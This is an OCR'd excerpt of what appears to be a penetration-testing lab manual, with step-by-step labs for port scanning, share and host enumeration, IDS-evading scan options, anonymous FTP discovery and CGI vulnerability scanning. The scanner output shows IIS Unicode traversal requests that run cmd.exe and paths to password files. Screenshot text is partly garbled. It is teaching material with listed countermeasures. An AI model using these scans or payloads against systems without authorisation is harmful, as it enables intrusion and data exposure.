Red Hat Linux 8 Server Windows 200	0 Server VVindows XP Pro	ofessional SUSE Linu	x 8.2 Red Hat Linux 8.0 Whoppix Red 4 🕨 🗙
🎢 Start 🕜 🏈 😂 🖬 🖂 🗐	Computer Management	Registry Editor	🗊 🕮 🌌 8:25 PM
💰 Registry Editor			
Registry Edit View Favorites Help			
IsmServ 🔺	Name	Туре	Data
the College	(Default)	REG_SZ	(value not set)
Kac KSec0D	autodisconnect	REG_DWORD	0×0000000f (15)
	auto and a second secon	REG_DWORD	0x00000001 (1)
Autotune	enablesecuritysignature	REG_DWORD	0x00000000 (0)
- DefaultSi	Ref Guid	REG_DINART	D1 46 74 08 55 21 01 41 95 20 10 78 51 68 79 12 0v00000000 (0)
Enum	ab Nul SessionPines	REG_DWORD	COMMAR COMMODE SOLVOLIERY SPOOLSS LLSPPC ER
	abNulSessionShares	REG MULTI SZ	COMCEG DES\$
a paramete	Requiresecuritysignature	REG_DWORD	0×00000000 (0)
The Shares	Big Size	REG_DWORD	0x00000001 (1)
Ianmanworks	AutoShareServer	REG_DWORD	0×00000000 (0)
- 🛄 lbrtfdc			
🗈 🦲 LicenseInfo 🛁			
E LicenseServic			
E LmHosts			
H ponds35			
T mondd			
mnmsrvc			
😟 🧰 Modem			
🗄 🧰 Mouclass			
MountMgr			
mraid35x			
H Msfs			
H MSFTPSVC			
🕀 🧰 MSIServer			
MSKSSRV			
My Computer\HKEY LOCAL MACHINE\SYSTE	, EM\CurrentControlSet\Services\	lanmanserver\parameter	\$

Right-click and select **NEW**, **DWORD value**. Enter the name of **AutoShare-Wks** and enter a value of **0**. Restart the computer.

🗐 Windows 2000 Server - VMware	Workstation			
File Edit View VM Power Snap	shot Windows Help			
🔲 💷 🕨 🚱 🕞 Snapshot 🛔	Revert 📰 💭 🚞			
Red Hat Linux 8 Server Windows 2000	Server Vindows XP Pro	ofessional SUSE Li	nux 8.2 Red Hat Linux 8.0 Whoppix Rec	▲ ▶ ×
Start M & S S .	Computer Management	a Registry Editor		8:28 PM
& Registry Editor	,,	1 mg		_ [#] ×
Registry Edit View Favorites Help				
Bindary Sindary Sindary Side StadDiarre Autoture Dialuts Enum Dialuts Enum Dialuts Shares Shares Bindary Dialuts Shares Bindary Dialuts Shares Bindary Dialuts Shares Bindary Bindary Shares Bindary Bindary	Name @(Cof auk) @(Cof auk) @(Cof auk) @(Cod auk) @(cod cod auk) @(cod au	1900 1900 REG_SWORD REG_DWORD REG_DWORD REG_DWORD REG_DWORD REG_DWORD REG_MULTI_SZ REG_DWORD REG_DWORD REG_DWORD REG_DWORD REG_DWORD REG_DWORD	Data (value not set) 0x00000000000000000000000000000000000	2 RPC EP
My Computer\HKEY_LOCAL_MACHINE\SYSTE	M\CurrentControlSet\Services	lanmanserver\paramete	ers	
			뮲	2 - 9

From the **Computer Manager** as above check the shares to validate the default shares are no longer there.



*Note: Chapter 4 will demonstrate how to take advantage of default shares.

Lab 28: Host Enumeration

Scan Open Ports of Target: WinFingerprint

Prerequisites: NULL session, access to UDP-137, IPX, or NetBEUI **Countermeasures:** Host-based firewalls, Restrict Anonymous

- **Description:** The WinFingerprint application is used to enumerate information from a target. Information such as ports, services, shares, and password policies can be obtained. The amount of information obtained can be greatly reduced if the target has restricted anonymous (refer to Chapter 1).
- **Procedure:** From the WinFingerprint application enter in the target IP address or IP range and select the options for the desired results.

Double-click on the WinFingerprint icon to start installation.



The WinFingerprint Setup Wizard begins. Accept the default choices during the installation by clicking **Next** throughout the process.

To accept the default answer of **Yes** when asked to change the number of ephemeral ports, click **Yes**.



To accept the default answer of **Yes** when asked to decrease the amount of time to release the connections, click **Yes**.

👰 Windows 2	2000 Professional - YMware Workstation		_ 🗆 ×
File Edit	view VM Team Windows Help		
🛆 Home 🗄	Windows 2000 Professional 🚯 Red Hat Linux 🕼 Red Hat Linux 8 Server	🚯 Window	↓ ▶ ×
<u></u>			
My Documents	🗞 Winfingerprint 0.6.2 Setup	_ 🗆 🗙	
Q	Installing Please wait while Winfingerprint 0.6.2 is being installed.		
My Computer	The binbect possible Ephemeral port is: [decired value: 65534]		
My Network Places	Extract: winfingerprint.exe 100% Creal Winfingerprint 0.6.2 Setup Creal Outp Winfingerprint an decrease the amount of time it takes to release a Extra concention from the default of a minutee to 30 accords. Would you like to	▲	
Recycle Bin	Skipp enable this option? [Microsoft 149532] Outp Extra Yes No Extra Output folder: C:\WINVT\System32\drivers\etc\services The hindest possible Enhemeral port is Telesired value: 65534].]	
Internet Explorer	Nullsoft Install System v2.06		
WinZip	<back next=""></back>	Cancel	
Start	C C C:\Downloads\Winfingerp & Winfingerprint 0.6.2 5	(1:8D)	3:11 PM
) 💷 🕠 //

To accept the default answer of **Yes** when asked to decrease the time to release the client UNC connection, click **Yes**.

💽 Windows 2000 Professional - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🛆 Home 🛛 🔂 Windows 2000 Professional 🕞 Red Hat Linux 🛛 🗗 Red Hat Linux 8 Server 🏾 🛐 Window	↓ ▶ ×
· · · · · · · · · · · · · · · · · · ·	,
My Documents Winfingerprint 0.6.2 Setup	
Installing Please wait while Winfingerprint 0.6.2 is being installed.	
My Computer TCP: Timed Wait Delay is set to [desired value: 30].	
Create folder: C:\Documents and Settings\Administrator\Start Menu\Programs\Winfin Create folder: C:\Documents and Settings\Administrator\Start Menu\Programs\Box Create folder: C:\Documents and Settings\Administrator\Start Menu\Programs\Box Create folder: C:\Documents and Settings\Box Create folder: C:\Do	
Places Out Winfingerprint conductorses the amount of time it takes to release a client Sky UNC connection from the default of 10 minutes to 10 seconds. Would you like Out to enable this option? [Microsoft 149532]	
Recycle Bin Cre Yes No ·	
The highest possible Ephemeral port is [desired value: 65534]. TCP Timed Walt Delay is set to [desired value: 30].	
Explorer Nullsoft Install System v2.06	
<back next=""> Cancel</back>	
WinZip	
Start 🛛 🕜 🍘 🗐 🗍 🔄 C:\Downloads\Winfingerp 🗞 Winfingerprint 0.6.2 S 🤇	3:11 PM

WinFingerprint will now complete installing. You can read or uncheck the *Show Readme* option. Click **Finish**. WinFingerprint will start.



- Enter the target IP address, IP range, Subnet, IP list, or Neighborhood.
- Select the scan options.
- Select if you need a TCP and/or UDP port scan against the target.
- Click Scan.

The results will be displayed in the lower window.



Notice in the next screen that WinFingerprint identified the shares available on the target.

dows 2000 Professional	nas 👔 Red Hal Louis & Server 👔 Windows 2000 Server		
Winlingerprint 0.6.2	and the second		101
Input Options	Scan Options	Scen	
C Single Host C Neighborhood	F Win32 OS Version F Users F Patch Level	5.2	
Starting IP Address:	F NUL IPCS Sessions F Services F MAC Address		
1/2 + 16 + 1 + 40	P NetBIOS Shares P Disks P Sessions	Clear	
172 . 16 . 1 . 40	P Date and Time P Groups P Event Log	Save	
T Netmask	Ping Hest(s) P RPC P Show	Help	
	Traceroute Host		
General Options			
	TCP Portscan Range:	1024	
Timeout for TCP/UDP/ICMP/SNMP	5 F UDP Fortscan Range:	1024	
Retries: 3 Max Conne	ctions: 1024 F SNMP Community String: P	/bkc	
Remote Admin <u>WWIN2005-VIDICI</u> Default share Services: Rooser Computer Brows Dfs DistPolated File System Dfs DistPolated Dfs DistPolated Dfs DistPolated Discover Logical Disk He Discover Logical Disk He	r 1 Sudan	L	
Eventlog Event Log EventSystem COM+ Event IISADMIN IIS Admin Serv Ianmanserver Server Ianmanworkstation Works LicenceService Licence Lo	ce ation Service		
Eventlog Event Log EventSystem COM+ Event IISADMIN IIS Admin Server Ianmanserver Server Ianmanworkstation Works LicenseService License Lo Linklasts TCP/IP NetBIOS	ice afian giplag Service Helper Service	تع.	

Once the WinFingerprint application has made a NULL session connection to the target (one of the options) and the Windows Shares have been identified, an attacker can open Windows Explorer and place in the Address bar the path represented in the WinFingerprint results. This will reveal the contents of the shared resource.

Input Options Scan Options			-
Stan Options		and the second se	
(* IP Range 1 IP List 1* Domain 1 Act	ive Directory C WHI API	Scan	
C Souls Hout C Mainhauthaut IT study of transies	The state of the s	Exit	
Die Edt yes Fgrontes Loois Heb	10.000	Clear	
4-Bad +	9 X 10 III-		
Agaress Dimensionality	• 200 -	Save	
	n n -	Help	
ASPEnt Databases	Documents Downloads		
c\$	ind Settings		
# The folder is Online.		1024	
Select an item to view its Instpub lisb%	Personal PHP	1024 6c	
Defailt share			
Program Files t	Td Windows	-	
		- 1	
	6 E +	-	
16 object(4) [2.34 KB	CH Local intranet		
NetBOS Darres Management Man			
Dhop DHCP Client		Ľ.	
		24	

Other information obtained by WinFingerprint against the target includes the following:

- The password policy
- The hard drives and assigned letters
- All MAC addresses
- The services running
- The usernames on the target
- The SID IDs of the users
- The RID IDs of the users
- The group names on the target
- Any RPC bindings

*Note: WinFingerprint is a very reliable and accurate application and the speed at which it operates is impressive. This scan only took 3.56 seconds to complete.

Chapter 4

Scanning

Lab 29: Target Scan/Share Enumeration

Scan Open Ports of Target: Angry IP

Prerequisites: None (Optional NULL session prerequisite)

- **Countermeasures:** Host-based firewalls, Restrict Anonymous, deny port 139, 445 outbound
- **Description:** The Angry IP Scanner is used not only to scan a target for open ports but to attempt to connect to the shared resources.
- **Procedure:** From the Angry IP application enter in the target IP address or IP range and select the options for the desired results.

From the Angry IP application enter the target IP address.



Click **Options**, then click **Select Ports** and enter the ports you are searching for. Click **OK**.

Select ports	×
Enter ports to scan (or use helpers below) Ports: 139,445,80,21,25	?
Single port	
From: to Add	1
Note: please be patient when scanning ports. It ma take long if you want to scan too many ports.	y

Click the Start button.



Once the scan has completed a window will appear identifying the results. Click ${\bf OK}.$



Once the scan has completed a results window will appear identifying the number of IPs scanned, number of targets alive, and number of targets with open ports.



In this example:

- Port 21 (FTP [File Transfer Protocol]) is open.
- Port 80 (Web) is open.
- Port 139 (Windows Share) is open.
- Port 445 (Windows Share) is open.

Right-click on the IP address to bring up a menu; then select **OPEN COMPUTER**, then **IN EXPLORER**.

🗃 Windows 2000 Professional - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🔐 Windows 2000 Professional 👔, Red Hat Linux 📳, Red Hat Linux 8 Server 📳, Windows 2000 Server	×
File Edit View Favorites Tools Help	
← Back + → + 🔄 @ Search ParFolders @ History Park X 🖄 🔢 +	
Address 🛄 \\\172.16.1.40	
Database Downlast Devropal Dritter Scheduled	
172.16.1.40 Tasks	
Select an item to view ite	
description.	
5 object(s)	
😹 Start 🛛 🖉 🍘 🛄 🖸 C:\Downloads\Winfingerp 🖗 Angry IP Scanner 2.21 🔹 \\ \ IT2.16.1.40	3:54 PM

In this example, the results revealed the following:

- The Database directory is shared.
- The Downloads directory is shared.
- The Personal directory is shared.
- There may be Printers shared on the target.
- The Windows scheduler is running and may have tasks that can be modified.
- *Note: This example demonstrates a target computer with unprotected shares on the computer. Many unprotected shares are available on private and personal networks, and many, many on the Internet.

If the shares ask you for a username/password when attempting to access them, initiate a NULL session and try again. If the shared resources still ask, then you must find the username/password for that resource by other means.

Lab 30: Target Scan/Penetration

Scan Open Ports/Penetration Testing: LANguard Windows

Prerequisites: None

Countermeasures: Host-based firewalls

- **Description:** The LANguard application not only scans a target for open ports and services but has an integrated penetration testing feature that looks for weaknesses in the target operating system (OS) by running predefined scripts against the target.
- **Procedure:** From the LANguard application, enter the target IP address, hostname, or IP range and scan.

Enter the Target IP address or hostname as the target.



In this example, the LANguard application has revealed:

- The target's Media Access Control (MAC) address
- Currently logged-in user
- Shared resources
- Users
- Installed network cards
- Several other pieces of valuable information



Because of the canned scripts included with LANguard, several vulnerabilities were found including the Internet Information Service (IIS) directory transversal, which allows an attacker to browse the contents of the target and gain other information. Many, if not all, of these weaknesses can be prevented if the target had received its service packs and Windows updates.

As a side note notice the Remote Time of Day service is running on the target. This allows an attacker to initiate a DoS attack against the target at will. The Remote Time of Day service is an example of a service that should not be turned on unless there is a very specific reason to do so, and even then should be protected by firewalls and/or routers.

*Note: As with any application be aware of your environment prior to and after installing it. One of LANguard's features is to perform a remote shutdown of the target. Initially this feature did not work on a Windows computer with Service Pack 1 installed on it; however, once Service Pack 2 was installed that same computer could be shut down without notice or warning. Please do not assume that newer versions of an application take security into account.

Newer versions of LANguard require purchase.

Lab 31: Target Scan through Firewall

Scan Open Ports of Target: Fscan Windows

Prerequisites: None

Countermeasures: Host-based firewalls

- **Description:** The Fscan application is a tool from Foundstone that allows an attacker to scan for open ports on targets. A unique feature of Fscan is that it allows an attacker to scan in a random, "quiet" mode to try to circumvent Intrusion Detection Software (IDS). Fscan also allows the scan to be bound to a specific port—for example, port 80, which most firewalls allow. (This would be the –i option.)
- **Procedure:** From the Fscan application enter in the target IP address or IP range and scan.

From a DOS prompt type the following with the syntax of:

```
fscan <options> (IP Address or Name) (Port #)
```



Unless otherwise instructed fscan will scan a default range of both Transfer Control Protocol (TCP) and User Datagram Protocol (UDP) ports to see if the ports are open. In this example the options of $-\mathbf{qr}$ were used. This is the same as saying $-\mathbf{q} - \mathbf{r}$.

- The -q option instructs Fscan not to ping the target before scanning.
- The **-r** option instructs Fscan to scan in a random order.

These options help evade IDS that may be between the attacker and the target. In this example, the target has several TCP ports open and a few UDP. The ports of interest are:

- 21 (FTP)
- 25 (SMTP)
- 80 (HTTP)
- 139 (Windows Share)
- *Note: Notice that port 23 is not being scanned. According to Foundstone this was an honest mistake by the author, who forgot to put it in.

Lab 32: Passive Network Discovery

Passively Identify Target Information on the LAN: Passifist \varDelta

Prerequisites: Compile the Linux script **Countermeasures:** Host-based firewalls

Description: The passifist application attempts to identify targets within a Local Area Network (LAN) by listening in passive mode on the LAN and from the results of the information identifies the target's IP address, MAC address, hostname, and probable operating system used.

Procedure: Uncompress, configure, and execute against target.

From the directory containing the compressed passifist file type **tar –zxvf passifist_src_1.0.6.tgz**.

- The contents will be extracted into a new directory named **passifist**.
- Change to the new directory by typing **cd passifist** and pressing **Enter**.
- From the passifist directory type ./configure and press Enter.

📓 Red Hat Linux 8 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
📃 🔲 🕕 🕼 🖬 Snapshot 🙀 Revert 🛛 🎞 🔛	
Windows 2000 Server SUSE Linux 8.2 Windows 2000 Advanced Server Red Hat Linux 8 Server Red Hat Linux 8.0	⊳ ×
<u>@</u>	
root@localhost:~/tools/passifist/passifist - Shell - Konsole	
Trash Session Edit View Settings Help	
[root@localhost passifist]# ./configure	
Flopp	
Home	
Start He	
	:17
일 = 1	

The script will compile to the specific machine it is installed on.

👰 Red Hat Linux 8 Server - VMware Workstation		
File Edit View VM Power Snapshot Windows Help		
📃 🖩 🗊 🕞 🖬 Snapshot 🙀 Revert 🛐 🔛		
Windows 2000 Server SUSE Linux 8.2 Windows 2000 Advanced Server Red Hat Linux 8 Server Red Hat Linux 8.0	•	Þ 🗙
▼root@localhost:~/tools/passifist/passifist - Shell - Konsole)
Trash Session Edit View Settings Help		
checking size of short int 2	•	
CD/DVD- checking size of int 4	- 11	
checking size of long long int 8		
checking for main in -lc yes		
Flopp checking for library containing WDF Trit leal		
checking for mysql real connect in -lmysqlclient no		
checking for tds_connect in -ltds no		
checking for pcap_open_live in -lpcap yes		
checking for opendir in -ldir no		
checking for ANSI C header files yes		
checking for unistd.h yes		
Start He checking for working const yes		
checking for u_intXX_t types in sys/types.h yes		
creating ./config.status		
creating passifist.tmpl		
creating Makefile		
creating src/splugs/makelile		
creating src/pplugs/Makefile		
creating config.h	-	
[[roceredinose publicite], make		
	19	:19
	20	

Type in make and press Enter.



Initiate the passive discovery with the following syntax:
 ./passifist -I eth0 -U "provider=TXT:
 filename=foobar.txt"

Red Hat Linux 8 Server - VMware Workstation	- I I X
File Edit View VM Power Snapshot Windows Help	
🔲 💷 🕑 🊱 Snapshot 🙀 Revert 🖬 🔛	
Windows 2000 Server SUSE Linux 8.2 Windows 2000 Advanced Server Red Hat Linux 8 Server Red Hat Linux 8.0	∢ ⊳ ×
 root@localhost-/tools/passifist/shell-Konsole Session Edit View Settings Help Ressifist 1.0.6 by patrik@cqure.net Ressif	
Carle Revitos - Mozilia Carles Personal A Carles - Mozilia Carle	19:34

Once the program is initiated, the attacker will wait awhile and then stop the application by pressing **Ctrl+C**. The results in this example identified seven targets on the LAN.

From the options entered when the passifist application was started, the results were saved in a text file named foobar.txt within the directory passifist resides in.

Upon opening the foobar.txt file the results identified the following:

- The target IPs
- Hostnames
- MAC addresses
- Probable OS being used by each target



*Note: Remember that the objective is to gather as much information as possible about the target. All of this information is useful to an attacker as it identifies what targets are available and helps guide the attacker in the appropriate direction.

Lab 33: Network Discovery

Identify Target Information: LanSpy Windows

Prerequisites: None

- **Countermeasures:** Host-based firewalls, uninstall/disable unnecessary services
- **Description:** The LanSpy application attempts to identify targets within a LAN and from the results of the information identifies the target's IP address, MAC address, hostname, and probable operating system used, among other information.
- **Procedure:** Install and start the LanSpy application, enter the target information, and scan.

Start the installation of LanSpy by double-clicking the LanSpy setup icon:



Accept the default installation of LanSpy. LanSpy will install. Once complete, click **Finish**.



From the LanSpy application enter the target IP address. Click on the **Green Arrow** to start the scan.

👰 Windows 2000 Professional - YMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🚡 Home 🔀 Windows 2000 Professional 🖀 Red Hat Linux 👫 Red Hat Linux 8 Server 📑 Windows 2000 Server	×
LanSpy 2.0 – LanTricks: www.LanTricks.com	_ - - - ×
🙊 Start 🛛 🖉 🏐 🗍 🖾 C:\WINNT\System32\cm 🖉 MajorGeeks.com - Downl 🖸 C:\Downloads\Lanspy 🛛 🔆 🔍 🖗 単 🗶	6:15 PM
	🔛 🕬 //.

The results of the scan will be displayed.



In this example, the target has the following TCP ports open:

- 21 (FTP)
- 80 (Web)
- 135 (DCP Endpoint Resolution)
- 139 (Windows Shares)
- 443 (HTTPS)
- 445 (Windows Shares)
- 1025 (Network Blackjack)
- 1026 (Calendar Access Protocol)
- 3306 (MySQL)
- 3389 (Terminal Services)
- 6666 (Mirc)

In this example, the target has the following UDP ports open:

- 137 (NetBios Name Service)
- 138 (NetBios Datagram Service)
- 161 (SNMP)
- 445 (Windows Shares)
- 500 (Isakmp)
- *Note: LanSpy is an excellent application to perform a quick scan against a target. LanSpy will also identify the hostname and MAC address of the target.

Lab 34: Open Ports/Services

Scan Open Ports/Services of Target: Netcat 🖏 🔬

Prerequisites: None

- **Countermeasures:** Uninstall/disable fix unnecessary services, Intrusion Detection Systems (IDS) Log and Event Log review
- **Description:** The netcat application has many uses; one is the ability to scan a target for open ports and services. Another utility, cryptcat, is almost identical except that it operates with encryption.
- **Procedure:** From a DOS prompt, type the following with the syntax of:

nc <options > <Hostname or IP Address> <Port Range>

📾 Command Prompt	- 🗆 ×
C:\Tools\Windows\netcat\netcat\nc -v -r -w2 -z 192.168.0.8 DNS fwd/rev mismatch: WIN2000S-U != WIN2000S-U WIN2000S-U [192.168.0.8] 80 (http) open WIN2000S-U [192.168.0.8] 7 (echo) open WIN2000S-U [192.168.0.8] 13 (daytime) open WIN2000S-U [192.168.0.8] 12 (ftp) open WIN2000S-U [192.168.0.8] 17 (qotd) open WIN2000S-U [192.168.0.8] 445 (microsoft-ds) open WIN2000S-U [192.168.0.8] 9 (discard) open WIN2000S-U [192.168.0.8] 19 (chargen) open WIN2000S-U [192.168.0.8] 135 (epmap) open WIN2000S-U [192.168.0.8] 135 (epmap) open WIN2000S-U [192.168.0.8] 443 (https) open WIN2000S-U [192.168.0.8] 25 (smtp) open C:\Tools\Windows\netcat\netcat_	1-1024
	•

- The –v option instructs netcat to run in verbose mode, allowing you to see the progress of the scan.
- The -r option instructs netcat to randomize local and remote ports in an attempt to elude any intrusion detection systems.
- The -w2 option instructs netcat to wait 2 seconds between each port scanned to help elude any intrusion detection systems.
- The -z option instructs netcat to operate in a zero-I/O (Input/Output) mode. It is best to use the -z when scanning with netcat.
- The 1-1024 instructs netcat to scan port 1-1024.

In this example, the target has the following ports open:

- 80 (Web)
- 7 (Echo)
- 13 (daytime)
- 21 (FTP)
- 17 (Quote of the Day)
- 445 (Windows Share)
- 9 (discard)
- 139 (Windows Share)
- 19 (Character Generator)
- 135 (epmap)
- 443 (HTTPS)
- 25 (Simple Mail Transfer Protocol [SMTP])

*Note: From the results of this example the "low hanging fruit" ports are:

7, 13, 17, 9, and 19 as these ports can easily be used to create a Denial of Service (DoS). These ports should not be open to the Internet.

Lab 35: Port Scan/Service Identification

Scan Open Ports of Target: SuperScan

Prerequisites: None

- **Countermeasures:** Secure access control lists (ACLs), Bastion servers/ workstations, host-based firewalls
- **Description:** SuperScan has the ability to discover which ports are open on the target. Identifying the open ports tells an attacker what ports are available for potential exploit.
- **Procedure:** Install the application, enter the target data, and scan the target.

Double-click on the **SuperScan** application.



Accept the default installation of SuperScan. The installation will occur and the SuperScan application will start.



In this example the default target of 127.0.0.1 was changed to **172.16.1.40** and by clicking on **Lookup**, the target's hostname was resolved (Win2000s-v).



Click the **Port list setup** button.



Scroll through the ports available, noticing the default service associated with that port is listed. In this example the default ports already selected are used. Click **OK**, then click **Start**.



*Note: Notice you have control over several parameters of SuperScan, including adjusting the speed at which the application runs, creating custom port lists, and pruning the results, which is used to eliminate computers scanned in a range of targets that return no results.

Notice that SuperScan will perform a banner grab by default. In this example, SuperScan identified that the target:

- Has port 21 open and is running Microsoft FTP version 5.0.
- Has port 80 open and is running Microsoft IIS version 5.0.

Lab 36: Port Scanner Identify Ports Open: Strobe

Prerequisites: None

Countermeasures: Firewalls, disable unneeded services

- **Description:** The Strobe application identifies ports open on the target. By identifying the ports available this gives an attacker a potential hole to attempt to punch through and compromise the computer and/or network. Remember that all commands in Linux are case sensitive.
- **Procedure:** Configure, compile and execute against the target. For the Windows-based version install and execute with the following syntax:

./strobe (Target IP)

From the Linux directory containing the compressed file type **tar** –**zxvf strobe103.tar.gz**. The files will uncompress into a new directory named **strobe**. Change to the new directory by typing **cd strobe** and pressing **Enter**. From the new directory type **make install** and press **Enter**.



The Strobe application will now compile.



To execute Strobe against the target in this example:

./strobe 172.16.1.40


The Strobe application will now execute against the target.

👰 Red Hat Linux - YMware Workstation			_	
File Edit View VM Team Windows	Help			
				-
A Home 🛛 🛱 Windows 2000 Professional	🔒 Red Hat Linux 🛛 🚡	Red Hat Linux 8 S	Server 🔐 Windows 2000 Server	×
▼ root@localhost:~/tools/strobe/stro	obe			9 X
<u>File E</u> dit <u>V</u> iew <u>T</u> erminal <u>G</u> o	<u>H</u> elp			
[root@localhost strobe]# ./st:	robe 172.16.1.40			*
strobe 1.03 (c) 1995 Julian As	ssange (proff@subu	rbia.net).		
172.16.1.40	ftp	21/tcp	File Transfer [Control] [96,JBP]	
172.16.1.40	http	80/tcp	www www-http World Wide Web HTTP	
#172.16.1.40	WWW	80/tcp	World Wide Web HTTP [TXL]	
172.16.1.40	loc-srv	135/tcp	Location Service [JXP]	
172.16.1.40	netbios-ssn	139/tcp	NETBIOS Session Service [JBP]	
172.16.1.40	https	443/tcp	encrypted http server (SSL - RSA, rc4/	de
s)				
172.16.1.40	microsoft-ds	445/tcp		
172.16.1.40	blackjack	1025/tcp	network blackjack	
#172.16.1.40	listen	1025/tcp	listener RFS remote_file_sharing	
172.16.1.40	nterm	1026/tcp	remote_login network_terminal	
172.16.1.40	unknown	1028/tcp	unassigned	
172.16.1.40	unknown	1191/tcp	unassigned	
172.16.1.40	unknown	1755/tcp	unassigned	
172.16.1.40	unknown	3306/tcp	unassigned	
172.16.1.40	unknown	3372/tcp	unassigned	
172.16.1.40	unknown	3389/tcp	unassigned	
172.16.1.40	irc-serv	6666/tcp	internet relay chat server	
172.16.1.40	unknown	7778/tcp	unassigned	
172.16.1.40	unknown	8888/tcp	unassigned	
[root@localhost strobe]#				4
				*
		/ 🖾 root@		
	NON-	Mozi	2 10:16	PM
		MOZI	-	
				())

The Strobe application has determined:

- Ports 21, 80, 135, 139, 443, 445, 1025, 1026, 1028, 1191, 1755, 3306, 3372, 3389, 6666, 7778, and 8888 are open.
- *Note: Notice that Strobe runs very fast but the trade-off is that, from its default configuration, several of the ports commonly known to other scanners are not determined (445 is used for Windows Shares, 3389 is for Terminal Services, etc.).

Lab 37: Anonymous FTP Locator

Locate Anonymous FTP Servers: FTPScanner

Prerequisites: FTP server target with Anonymous access allowed.

- **Countermeasures:** Deny Anonymous FTP, require Secure Socket Layer (SSL) connections
- **Description:** The FTPScanner application will locate FTP servers that allow Anonymous connections to occur. These servers must be using the default FTP port of 21 in order for the scanner to detect the server. The biggest concern with FTP is that the data be sent unencrypted (also known as clear text). An attacker that intercepts this clear text can easily read all data within the communication.
- **Procedure:** From the FTPScanner application enter the target IP address range.



- 🗆 × FTPScanner Session View Help Host: Status: Beginning: Beginning scan ٠ Connecting to: 192.168.142.140 192 168 142 140 Connecting to: 192.168.142.141 Connecting to: 192.168.142.142 Ending: Connecting to: 192.168.142.143 192 168 142 145 Resoloving hostname Connecting to: 192.168.142.144 Translate IP address to Connecting to: 192.168.142.145 2 • host name Statistics: IPs Scanned: 5 Status: ACTIVE Anonymous FTPs Found: 2 Non-anonymous FTPs found: 4 1/17/2004 12:34 AM Status

Select Session, then Begin. The FTPScanner will execute against the target.

In this example the FTPScanner scanned five targets and identified two targets running an FTP server that permits Anonymous FTP connections. The located server IP addresses are saved to a text file in the directory of the application.

Many times an FTP server is set up with this Anonymous access unintentionally. An attacker will connect to an Anonymous FTP server to determine if sensitive data either resides on the server, if the FTP server itself has a weakness, or if the version of the FTP service itself has a known exploit.

This application is "buggy" but effective in that it tends to scan beyond the desired range of targets.

*Note: This FTPScanner application has been known to crash older versions of the Novell NetWare server, version 4.*x*. The fault lies in the server not having the required updates applied. In every instance in which this has occurred on the Novell server, the hard drive on the server had to be rebuilt from scratch.

Lab 38: CGI Vulnerability Scanner

Identify CGI Vulnerabilities: TCS CGI Scanner

Prerequisites: None

- **Countermeasures:** Bastion servers/workstations, host-based firewalls, OS updates
- **Description:** The TCS Common Gateway Interface (CGI) Scanner application is designed to find targets that have vulnerable CGI Script errors. These errors are normally due to systems that have not been patched or updated.

Procedure: Start the CGI Scanner, enter the target IP address, and run.

From the directory containing the TCS Scanner, double-click the **TCS** application icon.



The TCS CGI Scanner will start.



Click to highlight the default target of **htpp://www.tpp.ru** and click on the \blacksquare at the top left of the application to delete the current target.

^	udows 2000 Professional 🕼 Red Hid Linux 👔 Red	Het Linux 8 Server 🛛 🚛 Windows 2000 Server
	e Tcs y1.0 build 136	입니다
	Scaniol	Holes list
Computer.		1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
Network Places		/ net. net. net. net. net. net. net. net.
	RXON	C Hostinio @ Options 2 About 3 Exit
e		
ternet spiorez		
	France	Time: 00:00:00 Total holes: 517
9		Time: 00:00:00 Total holes: 517

On the gray bar along the top left of the application, enter the IP address or hostname of the target and click on the gray-colored arrow to insert the new target. Repeat this process for multiple targets.



The TCS CGI Scanner is now ready to scan the target. Click on the \triangleright to start the scan. The results are displayed in the lower screen of the application.



🔄 Windows 2000 Professional - VMware Workstation	-0×
File Edit View VM Team Windows Help	
🛆 Home 🖶 Windows 2000 Professional 🔐 Red Hat Linux 🗿 Red Hat Linux 8 Server 👘 Windows 2000 Server	×
My Dog ments	
Scanning 172.16.1.40[172.16.1.40] - TCS V1.0 build 13b	
My Computer	
1/2.1b.1.40 1/22k2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E	
//autoexec.bat	
//etc/master.passwd //etc/passwd	
My Network //etc/security/passwd	
Places	
🖉 🔲 🗙 🏵 🕨 🕲 Questinio 🎕 Options 🖓 About 🗐 Exit	
Recycle Bin 172.16.1.40/scripts/iisadmin/bdir.htr?dir=ht??c:\ 403 - Forbidden.	
172.15.1.40/_cyti_pvt/authors.pv/ 172.15.1.40/cytips/iiadnin/iice/iide/ii/iide/iide/iide/iide/iide/i	
172.16.140/vii.pv/service.on/ 403-Forbidden.	
172.16.1.40/iisadmpwd/achg.htr 403 · Forbidden.	
1/2.16.1.40/scrpts/scap/srch.htm 4/03 - Forbidden. Internet 1/2.16.1.40/scrpts/scap/srch.htm 4/03 - Forbidden.	
Explorer 172.16.1.40/iisadmud/aexp.htr 403 - Forbidden,	
172.16.1.40/scripts/no-such-file.pl 403 - Forbidden.	
172.16.1.40/_vii_pvt/services.cnf 403 · Forbidden.	
WinZin 172.15.1.40/scripts/sull.cl 403 - Foliaden.	
172.16.1.40/scripts/rb.dl 500 - Eternal server error.	
172.16.1.40/scripts/samples/details.idq 200 - Found!	
1/2.1 b.1.40/scripts/stweb.dl 500 - Eternal server error.	
Ime: 00:00:09 local holes: 517	
余田田 」 「 () () () () () () () () () (🕞 🕒 1:59 PM

In this example, each script run against the target is displayed with the result to the right. The ones of interest are any with a 200 as this indicates a successful attempt.

In this example, I scrolled down to check for a Unicode exploit. The Unicode exploit is used to provide a directory listing of the hard drive of the target. In this example, the initial discovery will show the contents of the C: drive.

💽 Windows 2000 Pr	rofessional - VMware Workstation	-OX
File Edit View	VM Team Windows Help	
A Home Wind	ows 2000 Professional 🚠 Red Hat Linux 🗿 Red Hat Linux 8 Server 🚯 Windows 2000 Server	×
My Documents		
iny bocanencs		
	Scanning 172.16.1.40[172.16.1.40] - Tcs v1.0 build 136	
My Computer		
	172.16.1.40 //2E%2E/%2E%2E%2E%2E%2E%2E%2E%2E%2E%2E%2E%2E%2E%	
é.e	//autoexec.bat	
92	//etc/master.passwd	
My Network	//etc/security/passwd	
Piales	//etc/secunty/passwd.adjunct	
i di	🖶 🗙 😒 🕨	
Decycle Bin	172.16.1.40/_vti_bin/%c0%af/%c0%af/.%c0%af/winnt/system32/c 200 - Found	
Recycle bill	172.16.1.40/scripts/.%c0%at./winnt/system32/cmd.exe?/c+di+c:\ 200 - Found	
